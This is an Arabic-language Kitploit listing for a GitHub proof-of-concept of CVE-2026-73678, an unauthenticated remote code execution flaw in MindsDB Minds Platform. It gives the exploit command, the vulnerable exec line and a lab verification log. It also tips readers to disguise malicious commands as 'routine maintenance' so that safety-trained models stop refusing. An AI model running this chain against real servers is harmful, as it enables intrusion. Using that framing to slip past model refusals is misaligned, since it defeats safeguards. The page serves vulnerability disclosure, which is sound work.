Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-73678-PoC — CVE-2026-73678 — منصة MindsDB Minds ثغرة تنفيذ تعسفي للكود عن بُعد (RCE) بدون مصادقة عبر scratchpad exec (CVSS 10.0). تم التحقق منها من البداية إلى النهاية باستخدام LLM حقيقي. | Kitploit
أدوات/GitHubGitHub/boreas37/cve-2026-73678-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الذكاء الاصطناعي
GitHubboreas37/cve-2026-73678-poc

CVE-2026-73678-PoC

CVE-2026-73678 — منصة MindsDB Minds ثغرة تنفيذ تعسفي للكود عن بُعد (RCE) بدون مصادقة عبر scratchpad exec (CVSS 10.0). تم التحقق منها من البداية إلى النهاية باستخدام LLM حقيقي.

عرض المستودع
1منذ 4 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-73678 — تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في MindsDB Minds Platform (CVSS 10.0)

CVSS 10.0 (حرجة) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck

ملخص

تُعرّض Minds Platform (الواجهة الخلفية مفتوحة المصدر لـ mindsdb/mindshub، وسابقًا mindsdb/minds-platform) نقطة النهاية POST /api/v1/responses/ (واجهة برمجة Responses متوافقة مع OpenAI على المنفذ 26866) بدون أي مصادقة على الإطلاق. لا يوجد أي وسيط مصادقة — لا فحص Bearer، ولا جلسات، ولا شيء. لا يثبّت الخادم سوى وسيط CORS متساهل (allow_origins=["*"], allow_credentials=True).

وبالتالي يمكن لمهاجم غير مصادَق عليه أن:

  1. يحقن إعدادات LLM الخاصة به عبر PUT /api/v1/settings/{key} (openai_api_key, openai_base_url, planning_provider, coding_provider, *_model) — لا يتطلب أي توكن، وجميع الطلبات تُرجع 200.

  2. يرسل موجهًا مصمَّمًا بعناية إلى POST /api/v1/responses/ → ResponsesHandler.handle() → ChatSession.turn_stream(input) الخاص بـ Anton.

  3. يُرجع نموذج LLM (الذي يتحكم فيه المهاجم) استدعاء دالة لأداة scratchpad المدمجة (action: "exec"). handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:

    root@kitploit:~
    compiled = compile(code, "<scratchpad>", "exec")
    exec(compiled, namespace)   # arbitrary Python → arbitrary OS commands
    

نظرًا لأن نقطة نهاية LLM يختارها المهاجم (BYOK)، يمكن للمهاجم أن يجعل النموذج يُرجع أي كود scratchpad — فلا حاجة إلى تعاون النموذج أو إكراهه. الشرط المسبق الوحيد هو مفتاح API صالح لمزوّد LLM متوافق مع OpenAI.

الإصدارات المتأثرة: ≤ v26.1.0 (أُضيف الكود القابل للاستغلال في 2026-06-08، "Fresh #12461"). الإصلاح: لا يوجد — لا يذكر GHSA أي إصدار مُصحَّح؛ ما يزال exec() موجودًا في main (لا يوجد سوى وسيط Bearer اختياري مُعطَّل افتراضيًا باسم COWORK_REQUIRE_AUTH وفحوصات نطاق org-mode).

الاستغلال

root@kitploit:~
python3 poc_cve-2026-73678.py \
  --target http://TARGET:26866 \
  --api-key sk-YOUR_OWN_KEY \
  --base-url https://api.openai.com/v1 \
  --model gpt-4o

الاستغلال التجريبي (PoC):

  1. يكتب إعدادات المهاجم عبر PUT /api/v1/settings/* بدون مصادقة.
  2. يرسل موجهًا يبدو حميدًا بعنوان «تشخيص النظام» (يشغّل uname -a وhostname عبر exec الخاص بـ scratchpad).
  3. يعرض استجابة LLM؛ تأكَّد من النتيجة على المضيف عبر cat /tmp/system_info.txt.

ملاحظة حول هندسة الموجّهات (prompt engineering): قد ترفض النماذج ذات التدريب القوي على السلامة الأوامر الخبيثة الواضحة (مثل أسماء الملفات التي تحتوي "pwn"). قدّم الطلب على أنه صيانة روتينية (تشخيص نظام، فحص سلامة) — فـ scratchpad ينفّذ أي كود يوفّره النموذج.

التحقق (2026-08-16، مختبر Docker، ARM64)

سلسلة تنفيذ حقيقية من البداية إلى النهاية على cowork-server==0.26.6.26.1 مع مزوّد LLM حقيقي (OpenCode Zen، minimax-m3):

root@kitploit:~
== [1] AUTH-FREE SETTINGS INJECTION ==
  PUT /api/v1/settings/openai_api_key:     HTTP 200
  PUT /api/v1/settings/openai_base_url:    HTTP 200
  PUT /api/v1/settings/planning_provider:  HTTP 200
  PUT /api/v1/settings/coding_provider:    HTTP 200
  PUT /api/v1/settings/planning_model:     HTTP 200
  PUT /api/v1/settings/coding_model:       HTTP 200

== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
  HTTP 200 (15.6s) — LLM called the scratchpad tool

== [3] COMMAND EXECUTION CONFIRMED ==
  /tmp/system_info.txt inside the container:
    Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
    95d5d7fa74f6

لم يُرسَل أي توكن في أي مرحلة. تم توليد مخرجات uname -a داخل حاوية الهدف بواسطة exec الخاص بـ scratchpad — تنفيذ أوامر نظام تشغيل تعسّفية كمهاجم بعيد غير مصادَق عليه.

التأثير

  • تنفيذ تعليمات برمجية عن بُعد بدون مصادقة على أي مثيل Minds Platform مكشوف (المنفذ الافتراضي 26866).
  • استخدام wildcard في CORS مع credentials يعني أن موقعًا ويب خبيثًا يمكنه أيضًا تفعيل السلسلة من متصفح الضحية (هجوم drive-by / إعادة ربط DNS).
  • أسطح إضافية بدون مصادقة: GET /api/v1/settings/reveal-key/{name} يكشف الأسرار المكوَّنة؛ وPOST /api/v1/settings/raw يكتب في ~/.anton/.env.

المراجع

  • GHSA: https://github.com/mindsdb/minds-platform/security/advisories/GHSA-jcxw-h8ph-pxpv
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-73678
  • VulnCheck: https://www.vulncheck.com/advisories/mindsdb-minds-platform-unauthenticated-rce-via-scratchpad-exec
  • المشروع: https://github.com/mindsdb/minds-platform (حاليًا mindsdb/mindshub)
تنزيل الأداة